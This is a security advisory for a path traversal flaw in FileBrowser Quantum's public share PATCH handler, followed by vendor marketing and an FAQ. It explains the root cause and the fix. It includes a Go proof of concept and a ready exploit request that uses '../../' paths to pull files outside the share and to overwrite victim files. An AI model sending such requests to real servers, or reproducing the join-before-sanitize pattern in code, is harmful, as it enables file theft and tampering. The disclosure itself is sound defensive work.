Summary
FileBrowser Quantum: Path traversal in public share PATCH allows file ops outside shared directory
publicPatchHandler in backend/http/public.go joins user-controlled fromPath and toPath body fields with the trusted d.share.Path BEFORE the downstream sanitizer runs. Because filepath.Join collapses .. segments during the join, the sanitizer in resourcePatchHandler never sees the traversal and the move/copy/rename operates on a path outside the shared directory. The same root-cause pattern was patched for the bulk DELETE endpoint as CVE-2026-44542 (GHSA-fwj3-42wh-8673), but the PATCH handler with the identical pattern was not updated.
A public share link with AllowModify=true is sufficient to exploit this. Anyone holding such a link can move, copy, or rename arbitrary files within the share owner's source root.
Verified on commit 869b640 (HEAD of main as of 2026-05-07).
Details
In backend/http/public.go the public PATCH handler accepts a JSON body with items[].fromPath and items[].toPath from the client, then prepends the share path before delegating to resourcePatchHandler:
// backend/http/public.go (publicPatchHandler)
for i := range req.Items {
req.Items[i].FromSource = sourceName
req.Items[i].FromPath = utils.JoinPathAsUnix(d.share.Path, req.Items[i].FromPath) // line 372
req.Items[i].ToSource = sourceName
req.Items[i].ToPath = utils.JoinPathAsUnix(d.share.Path, req.Items[i].ToPath) // line 374
}
d.Data = req
status, err := resourcePatchHandler(w, r, d)
utils.JoinPathAsUnix is a thin wrapper around filepath.Join, which
calls filepath.Clean and resolves .. segments. By the time the
joined path reaches resourcePatchHandler, every .. from the body
has been collapsed:
// backend/http/resource.go (resourcePatchHandler)
cleanFromPath, err := utils.SanitizeUserPath(item.FromPath) // line 794
// ...
cleanToPath, err := utils.SanitizeUserPath(item.ToPath) // line 800
SanitizeUserPath (in backend/common/utils/file.go) checks for .. segments after filepath.Clean. Since the join already cleaned the path, no .. segment remains, the sanitizer returns success, and the move/copy/rename proceeds on the escaped target.
The share owner's user is substituted as the acting user for permission checks (d.user = shareCreatedByUser), so the access-control layer treats the request as if the share owner performed it. In a default configuration with no explicit access rules and DenyByDefault=false, Access.Permitted returns true for any path within the source, and the only remaining boundary is the source root itself (idx.Path in Index.GetRealPath).
The fix that landed for CVE-2026-44542 / GHSA-fwj3-42wh-8673 moved the sanitizer before the join in resourceBulkDeleteHandler (backend/http/resource.go:274) and in withHashFileHelper (backend/http/middleware.go:57). The PATCH variant in public.go follows the opposite order (join first, sanitize later) and was not updated.
For comparison, the same file's publicPutHandler uses the safe order:
// backend/http/public.go (publicPutHandler) -- safe order
cleanPath, err := utils.SanitizeUserPath(path) // sanitize FIRST
if err != nil { return http.StatusBadRequest, err }
resolvedPath := utils.JoinPathAsUnix(d.share.Path, cleanPath) // then join
PoC
The bug reproduces deterministically with the project's own helpers, without needing the full server. The Go program below uses verbatim copies of SanitizeUserPath (from backend/common/utils/file.go) and JoinPathAsUnix (from backend/common/utils/main.go) and replays the exact sequence executed for one item in publicPatchHandler followed by resourcePatchHandler.
package main
import (
"fmt"
"path/filepath"
"runtime"
"strings"
)
// Verbatim from backend/common/utils/file.go
func SanitizeUserPath(userPath string) (string, error) {
clean := filepath.Clean(userPath)
for _, segment := range strings.Split(clean, string(filepath.Separator)) {
if segment == ".." {
return "", fmt.Errorf("invalid path: path traversal detected")
}
}
if clean == "." {
return "", fmt.Errorf("invalid path: path must standard index path")
}
return clean, nil
}
// Verbatim from backend/common/utils/main.go
func JoinPathAsUnix(parts ...string) string {
p := filepath.Join(parts...)
if runtime.GOOS == "windows" {
p = strings.ReplaceAll(p, "\\", "/")
}
return p
}
func main() {
sharePath := "/users/alice/shared/" // d.share.Path (server-controlled)
attackerInput := "../../bob/secret.txt"
// publicPatchHandler line 372: join BEFORE sanitize
joined := JoinPathAsUnix(sharePath, attackerInput)
// resourcePatchHandler line 794: sanitize the already-joined path
sanitized, err := SanitizeUserPath(joined)
fmt.Printf("attacker input: %q\n", attackerInput)
fmt.Printf("after join: %q\n", joined)
fmt.Printf("sanitizer err: %v\n", err)
fmt.Printf("sanitized path: %q\n", sanitized)
}
Output:
attacker input: "../../bob/secret.txt"
after join: "/users/bob/secret.txt"
sanitizer err: <nil>
sanitized path: "/users/bob/secret.txt"
The path /users/bob/secret.txt is outside the share root /users/alice/shared/ and is the value passed to Index.GetRealPath which resolves to <source-root>/users/bob/secret.txt. The downstream move/copy/rename then targets that file. The same input is rejected by SanitizeUserPath if the order is reversed (sanitize-then-join), which is the order used by publicPutHandler and the post-fix bulk DELETE.
End-to-end exploit request shape:
PATCH /public/api/resources?hash=<share-hash> HTTP/1.1
Content-Type: application/json
{
"action": "rename",
"items": [
{
"fromSource": "default",
"fromPath": "../../bob/secret.txt",
"toSource": "default",
"toPath": "stolen.txt"
}
]
}
After the request, stolen.txt exists inside the shared directory and is downloadable through the same public share, exfiltrating the file that was outside the share's intended scope.
Impact
An unauthenticated attacker who possesses a public share link with AllowModify=true can move, copy, or rename any file inside the share owner's source root, escaping the share's intended directory. Two practical exploitation patterns:
Read arbitrary files in the source root: rename a file from outside the shared directory to a location inside it, then download it through the share. This breaks confidentiality of any file the share owner can read.
Tamper with arbitrary files in the source root: move an attacker-controlled file (uploaded into the share) over the top of a victim file. This breaks integrity of files the share owner can write to (configuration files, dotfiles, web roots if the source includes them).
Scope is bounded by the source root rather than the shared directory, which is the same boundary class as CVE-2026-44542 (GHSA-fwj3-42wh-8673, CVSS 9.1). The remediation pattern is the same: sanitize first, then join. The fix is a one-spot change in publicPatchHandler to call SanitizeUserPath on req.Items[i].FromPath and req.Items[i].ToPath before the two JoinPathAsUnix(d.share.Path, ...) calls.
Input manipulates file paths to reach files outside the intended directory, such as configuration or credential files. Typical impact: unauthorized file read or write outside the intended directory.
Affected versions
Security releases
Kodem intelligence
Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.
Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.
Already deployed Kodem?
See it in your environmentNew to Kodem? Get a demo →Remediation advice
Kodem Kai can prioritize this vulnerability in your dependency tree and generate a fix recommendation.
Frequently Asked Questions
- What is CVE-2026-48777? CVE-2026-48777 is a critical-severity path traversal vulnerability in github.com/gtsteffaniak/filebrowser/backend (go), affecting versions < 0.0.0-20260518193514-28e9b81e438e. It is fixed in 0.0.0-20260518193514-28e9b81e438e. Input manipulates file paths to reach files outside the intended directory, such as configuration or credential files.
- Which versions of github.com/gtsteffaniak/filebrowser/backend are affected by CVE-2026-48777? github.com/gtsteffaniak/filebrowser/backend (go) versions < 0.0.0-20260518193514-28e9b81e438e is affected.
- Is there a fix for CVE-2026-48777? Yes. CVE-2026-48777 is fixed in 0.0.0-20260518193514-28e9b81e438e. Upgrade to this version or later.
- Is CVE-2026-48777 exploitable, and should I be worried? Whether CVE-2026-48777 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
- What actually determines whether CVE-2026-48777 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
- How do I fix CVE-2026-48777? Upgrade
github.com/gtsteffaniak/filebrowser/backendto 0.0.0-20260518193514-28e9b81e438e or later.